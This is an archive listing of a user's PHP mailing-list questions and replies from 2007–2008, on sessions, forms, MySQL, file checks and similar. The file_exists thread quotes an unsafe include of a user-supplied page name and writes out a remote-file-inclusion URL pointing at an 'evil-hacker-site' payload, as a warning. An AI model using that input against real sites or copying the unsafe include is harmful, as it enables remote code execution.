[PHP] clear a mysql table

2008-10-25 Thread Ronald Wiplinger (Lists)
I need to clear a table (cache) from a database based on the database size. Our web site uses cached pages. Our webhost only allow us 100 MB storage. Usually the database is just 10 MB, but when a search engine crawls our calendar, then the storage is quickly 108 MB. The system reports then mathem

[PHP] Unsubscribe issues

2008-08-22 Thread Ronald Wiplinger
The guy who wrote the guide lines for unsubscribing must be a lawyer or so. To make a page to find out where the unsubscribe link is in each kind of email type is paranoid. I mean the link is coming from the mail server, so just to say: [EMAIL PROTECTED] would be sufficient, wouldn't it? Maybe

[PHP] syntax error

2008-07-21 Thread Ronald Wiplinger
On a system with php4 and mysql 4.x I had these lines: require("../db-config"); // includes $dbhost, $buname, $dbpass $db = mysql_connect($dbhost, $dbuname, $dbpass); mysql_select_db($dbname,$db); $sql = "SELECT * FROM CATEGORY WHERE ."; $result = mysql_query($sql,$db); $num=m

[PHP] phpmyadmin

2008-07-10 Thread Ronald Wiplinger
I would like to use this time phpmyadmin (2.11.3) to setup for a new user a database, which he can use to setup his own tables for his web site. User abc should get his own database xyz. I am not sure if I did it correct, and if it is safe to do so: A == 1. I created an empty database xyz (main

[PHP] scanned in & manipulate to a pdf

2008-05-25 Thread Ronald Wiplinger
I got a Windows program, which can scan in a book by scanning in the pages 1,3,5, n turn the book by 180 degrees and scan in from the back side n-1,n-3, ... 2. Then the program made a pdf book of the scanned in pages. I am not sure if a php program is the right way to do, but I thought to do

[PHP] Image modifications

2008-05-25 Thread Ronald Wiplinger
I would like to find some samples to start with. We want to upload a picture and the user may apply some "filters" or "instructions" to create a new picture, based on the uploaded picture and the available "filters" and "instructions". The idea of it is not really mature, since we have no idea wh

[PHP] Tool for programmer team

2008-01-21 Thread Ronald Wiplinger
What is a good tool to coordinate a team of programmers efficiently? To give each one a different part of the project is a start, but it needs to get combined at some points to be a working project. Not to debug code you have written was a hint, to see actually bugs as a bug and not as a feature.

Re: [PHP] BBcode - Solved

2007-12-16 Thread Ronald Wiplinger
I copied BBCodeParse.ini to the wrong place, Ronald Wiplinger wrote: > I tested BBcode (Pear extension) with that code: > > if (!empty($_POST['bbcode'])) { > require_once 'HTML/BBCodeParser.php'; > $parser = new HTML_BBCodeParser(parse_ini_fi

[PHP] BBcode

2007-12-16 Thread Ronald Wiplinger
I tested BBcode (Pear extension) with that code: if (!empty($_POST['bbcode'])) { require_once 'HTML/BBCodeParser.php'; $parser = new HTML_BBCodeParser(parse_ini_file('BBCodeParser.ini')); echo $parser->qParse($_POST['bbcode']); } ?> it works! I added it t

Re: [PHP] checkbox unchecked

2007-12-02 Thread Ronald Wiplinger
Stephen wrote: > Ronald Wiplinger wrote: >> How can I force a "n" for not checked in the input field? or how can I >> solve that? >> > Either use radio buttons or a drop down for the input field. Thanks! > > Stephen > -- PHP General Mailing List

[PHP] checkbox unchecked

2007-12-02 Thread Ronald Wiplinger
I have now tried to add many of the security hints on a web page and come to a problem. I am checking if the allowed fields match the sent fields. >From the database I get the information if a checkbox is checked or not: If the user takes out the checkmark the value will become "" and the fiel

Re: [PHP] Can I create flash via php?

2007-11-28 Thread Ronald Wiplinger
Jay Blanchard wrote: > [snip] > I want to create flash animations via a web page. Is it possible? What > do I need. I do not want to use Windows > [/snip] > > STFW http://www.google.com/search?hl=en&q=create+flash+using+PHP > > > > Excellent link (and bet I tried that one before!!!), c

[PHP] Can I create flash via php?

2007-11-27 Thread Ronald Wiplinger
I want to create flash animations via a web page. Is it possible? What do I need. I do not want to use Windows bye Ronald -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

[PHP] session_destroy AND reload a page

2007-11-25 Thread Ronald Wiplinger
If my user wants to logout, I want that the session will be destroyed and that he must start with the first page again (index.php) and a new session. Whatever I try he always gets the old sessions or he does not come to the first page. How can I solve that? bye Ronald -- PHP General Mailing L

[PHP] How to ask "if private IP"?

2007-11-25 Thread Ronald Wiplinger
I use $aa=$_SERVER["REMOTE_ADDR"]; and if(($aa=="192.168.2.108") || ($aa=="192.168.2.34")) { $aa="61.64.101.101";// for testing put in a public IP } However, I would like to cover all private IPs (192.168.x.x and 10.x.x.x and 172.??.x.x). How can I do that simple? bye Ronald

[PHP] Should I put pictures into a database?

2007-11-20 Thread Ronald Wiplinger
I have an application, where I use pictures. The size of the picture is about 90kB and to speed up the preview, I made a thumbnail of each picture which is about 2.5 to 5kB. I use now a directory structure of ../$a/$b/$c/ I wonder if it would be good to put the thumbnails into the current table,

Re: [PHP] bank query and curl --- not important, skip it

2007-11-19 Thread Ronald Wiplinger
Stut wrote: > "Admin": Please don't reply directly to me. If you want to say > something that you don't want to share with the group, don't bother. > > I did start replying to this email, but decided it wasn't worth it. > Anyone who uses language like this does not deserve a response, but it > made

Re: [PHP] bank query and curl

2007-11-17 Thread Ronald Wiplinger
going to try anything against your > systems. Just curious about something... what would you do if he did > try something? Call your mother and have a little cry? > >> -Original Message- >> From: Ronald Wiplinger [mailto:[EMAIL PROTECTED] Sent: Friday, >> November

[PHP] htmlentities()

2007-11-17 Thread Ronald Wiplinger
I tried to understand htmlentities by putting this code into a test.php: Test of evil input "; $field2=htmlentities($field1,ENT_QUOTES,UTF-8); echo "field2=$field2"; echo htmlentities($field1,ENT_QUOTES,UTF-8); echo ""; $str = "A 'quote' is bold"; // Outputs: A 'quote' is bold ec

[PHP] bank query and curl

2007-11-16 Thread Ronald Wiplinger
I have a bank account and would like to query the last transactions. I can do that now via web and think that I can convert this procedure to a list of curl requests and finally put the result into a database on my server. Fortunately this bank account does not allow transactions, just viewing the

Re: [PHP] file_exists - this part is of topic

2007-11-14 Thread Ronald Wiplinger
Instruct ICC wrote: > > > Called like this? > > index.php?page=http://evil-hacker-site.com/evil-payload.php > > And the browser will probably url_encode for me if needed. > _ > Climb to the top of the charts! Play Star Shuffle: the w

Re: [PHP] file_exists

2007-11-14 Thread Ronald Wiplinger
Stut wrote: > Philip Thompson wrote: >> I've run into similar problems where I *thought* I was looking in the >> correct location... but I wasn't. Take this for example >> >> > $page = $_GET['page']; >> if (file_exists ("$page.php")) { >> include ("$page.php"); >> } >> ?> > > I really hope

Re: [PHP] file_exists

2007-11-14 Thread Ronald Wiplinger
Chris wrote: > Ronald Wiplinger wrote: >> I am having troubles with the function file_exists() >> >> I tried the full path like: >> >> if (file_exists('/srv/www/../images/pic412.jpg') { >> echo ""; >> } else { >>

[PHP] file_exists

2007-11-13 Thread Ronald Wiplinger
I am having troubles with the function file_exists() I tried the full path like: if (file_exists('/srv/www/../images/pic412.jpg') { echo ""; } else { echo " " //picture is missing! } No matter if I use the full path or just images/pic412.jpg, it always shows th

[PHP] Input field

2007-11-13 Thread Ronald Wiplinger
I added just into a input field" 19" enclosure which was displayed from the database as: 19\" enclosure That gives me some questions: 1. where the protecting slash comes from? 2. how can I get it away when I want to display that field? 3. The slash is not to see in phpmyadmin, why not? and:

[PHP] Simple reading a file and extract fields

2007-11-13 Thread Ronald Wiplinger
I got a larger file which consists of lines with a defined length of 56 characters. Each line ends with a line feed (0A), >From each line I want one field from position 1 ~ 5 and field 2 from position 7 ~ 46. I tried: $myFile = "plaiso"; $fh = fopen($myFile, 'r'); $theDataLine = explode("\n",fge

Re: [PHP] Need a hint how to track an error

2007-11-12 Thread Ronald Wiplinger
Chris wrote: > Ronald Wiplinger wrote: >> My php program is working with Firefox, but not with Internet Explorer. > > Nothing to do with php, your problem is javascript. > >> Is there a tool to find the problem? > > For IE, try > > http://www.microsoft.com/down

[PHP] My first xml try

2007-11-09 Thread Ronald Wiplinger
I must use php 4 and mysql 4.x ! I tried an example I found on the net and modified it so that it should work with php4 and mysql 4. The code is below. I need to access a database and get an xml feed output. I tried to use echo statements for debugging and found that it seems I do not get the info

Re: [PHP] Re: Sessionvariable

2007-11-07 Thread Ronald Wiplinger
formation. bye Ronald > > regards > Sebastian > > "Ronald Wiplinger" <[EMAIL PROTECTED]> schrieb im Newsbeitrag > news:[EMAIL PROTECTED] >> I use at the first page a session variable to set a flag. >> >> After a few pages, or if somebody wait t

[PHP] Sessionvariable

2007-11-06 Thread Ronald Wiplinger
I use at the first page a session variable to set a flag. After a few pages, or if somebody wait too long, the pages have another flag. I noticed that there are often more than one session file exist. How can I avoid that? How can I make sure that for one user is only one session file? bye Ron

[PHP] Chinese input character count

2007-11-05 Thread Ronald Wiplinger
I thought I did it correct to define in the header: to display chinese characters correct. It works. However, if you type in a form directly, than each character will be translated to UTF-8 with a sequence of #; I could then count the numbers of # and had the amount of Chinese characters

Re: [PHP] How to replace define in a require file with mysql?

2007-11-04 Thread Ronald Wiplinger
Jim Lucas wrote: > Ronald Wiplinger wrote: >> I have a file linked with require into my program with statements like: >> >> define("_ADDRESS","Address"); >> define("_CITY","City"); >> >> I would like to replace this wi

Re: [PHP] system command

2007-10-26 Thread Ronald Wiplinger
Instruct ICC wrote: Use double quotes to get the value of $a or else you get the literal string "$a". $aa=system("lynx -dump http://api.hostip.info/country.php?ip=$a",$location); or $aa=system('lynx -dump http://api.hostip.info/country.php?ip='.$a,$location); Thanks! 1st solution did

Re: [PHP] system command

2007-10-25 Thread Ronald Wiplinger
Instruct ICC wrote: Date: Thu, 25 Oct 2007 09:43:14 +0800 From: [EMAIL PROTECTED] To: php-general@lists.php.net Subject: [PHP] system command I tried: $a=$_SERVER["REMOTE_ADDR"]; echo "REMOTE_ADDR=$a"; if($a="192.168.250.108") { $a="61.64.101.101"; } $aa=system('lynx -dump http://api

[PHP] system command

2007-10-24 Thread Ronald Wiplinger
I tried: $a=$_SERVER["REMOTE_ADDR"]; echo "REMOTE_ADDR=$a"; if($a="192.168.250.108") { $a="61.64.101.101"; } $aa=system('lynx -dump http://api.hostip.info/country.php?ip=$a',$location); echo "a=$aaa=$aalocation=$location"; $aa=system('lynx -dump http://api.hostip.info/country.php?ip=61.64.

[PHP] Php generated html email

2007-10-22 Thread Ronald Wiplinger
How can I create a html email directly from a web page via Php? The page will include tables, background colors and pictures within the tables. The received email should be readable without Internet connection (pictures, must be sent with the email) bye Ronald -- PHP General Mailing List (h

[PHP] Thoughts on multiple servers

2007-10-22 Thread Ronald Wiplinger
At current stage I have two servers installed, whereby the first one does all, but the second is a database server. I need to install on different location a server pair, which should work together, fail-fall-over, ... The idea is to have in the dns for the servers: abc.example.com <

[PHP] picture upload within a form

2007-10-19 Thread Ronald Wiplinger
I have a form, where I upload a picture and a corresponding text. Is it possible to have a form (upload picture) within a form (text)? As I have it now, the submit button just does nothing. bye Ronald -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.ne

[PHP] Need a hint how to use an anker on the next page

2007-10-18 Thread Ronald Wiplinger
I have a long page (form), where the user has to return to the place he left last time, or where in that page a question has not been answered. Example: Tell me the German word for: Your answer: 1. dogHund 2. cat

Re: [PHP] Re: I am looking for a color picker working also in Firefox

2007-10-18 Thread Ronald Wiplinger
Colin Guthrie wrote: Ronald Wiplinger wrote: I found many nice color picker (True color), which are working fine in IE, but I need one, which works also in Firefox. Can you give me a recommendation, please? http://www.iosart.com/firefox/colorzilla/ I couldn't get it to work

[PHP] I am looking for a color picker working also in Firefox

2007-10-18 Thread Ronald Wiplinger
I found many nice color picker (True color), which are working fine in IE, but I need one, which works also in Firefox. Can you give me a recommendation, please? bye Ronald -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] How to display ALL session variables?

2007-10-18 Thread Ronald Wiplinger
Nathan Nobbe wrote: this is a nice little tool as well; it would be pretty decent for spitting out the session; http://dbug.ospinto.com/ new dBug($_SESSION); -nathan That is really cool! I like that one! bye Ronald -- PHP General Mailing List (http://www.php.net/) To unsubscribe, vis

Re: [PHP] How to display ALL session variables? - solved

2007-10-18 Thread Ronald Wiplinger
Ronald Wiplinger wrote: [EMAIL PROTECTED] wrote: 2007/10/18, Nathan Nobbe <[EMAIL PROTECTED] <mailto:[EMAIL PROTECTED]>>: On 10/18/07, Ronald Wiplinger <[EMAIL PROTECTED] <mailto:[EMAIL PROTECTED]>> wrote: > > Is there a simple way to display a

Re: [PHP] How to display ALL session variables?

2007-10-18 Thread Ronald Wiplinger
[EMAIL PROTECTED] wrote: 2007/10/18, Nathan Nobbe <[EMAIL PROTECTED] <mailto:[EMAIL PROTECTED]>>: On 10/18/07, Ronald Wiplinger <[EMAIL PROTECTED] <mailto:[EMAIL PROTECTED]>> wrote: > > Is there a simple way to display all session variables? L

[PHP] How to display ALL session variables?

2007-10-18 Thread Ronald Wiplinger
Is there a simple way to display all session variables? Like the code below I use in debug for all posted variables: echo "posted variables"; while (list($name, $value) = each($HTTP_POST_VARS)) { echo "$name = $value\n"; } bye Ronald -- PHP General Mailing List (http://www.php.net/) To u

[PHP] How to replace define in a require file with mysql?

2007-10-17 Thread Ronald Wiplinger
I have a file linked with require into my program with statements like: define("_ADDRESS","Address"); define("_CITY","City"); I would like to replace this with a mysql table with these two fields (out of many other fields). How can I do that? bye Ronald -- PHP General Mailing List (http://ww

[PHP] How to replace define in a require file with mysql?

2007-10-17 Thread Ronald Wiplinger
I have a file linked with require into my program with statements like: define("_ADDRESS","Address"); define("_CITY","City"); I would like to replace this with a mysql table with these two fields (out of many other fields). How can I do that? bye Ronald -- PHP General Mailing List (http://

Re: [PHP] Re: Opening a file

2007-09-06 Thread Ronald Wiplinger
On Wed, 2007-09-05 at 10:29 -0400, Dan Shirah wrote: > Correction, I am now getting this error: > > PHP Warning: file(fruits.txt) > [function.file]: > failed to open stream: No such file or directory > PHP Warning: in_array() > [function.in

Re: [PHP] Re: Which CAPTCHA is the besta?

2007-09-01 Thread Ronald Wiplinger
Hamza Saglam wrote: Not a script you can install/hack but why don't you have a look at: http://recaptcha.net/ ? I am going to try that one. It sounds good and gives me a feeling to do something good to the community as well. Which version have you tried? Java or PHP? How to set-up PHP?

[PHP] How to implement Open-ID on my web server?

2007-08-31 Thread Ronald Wiplinger
Hi, I am looking for a way to implement OpenID on my webserver. Can anybody point me on ONE place that describes ONE way, please! I found many links, but I am now confused what I really need ;-( I want that the customer can use his/her openid to login to signup/login to our web sites. Herby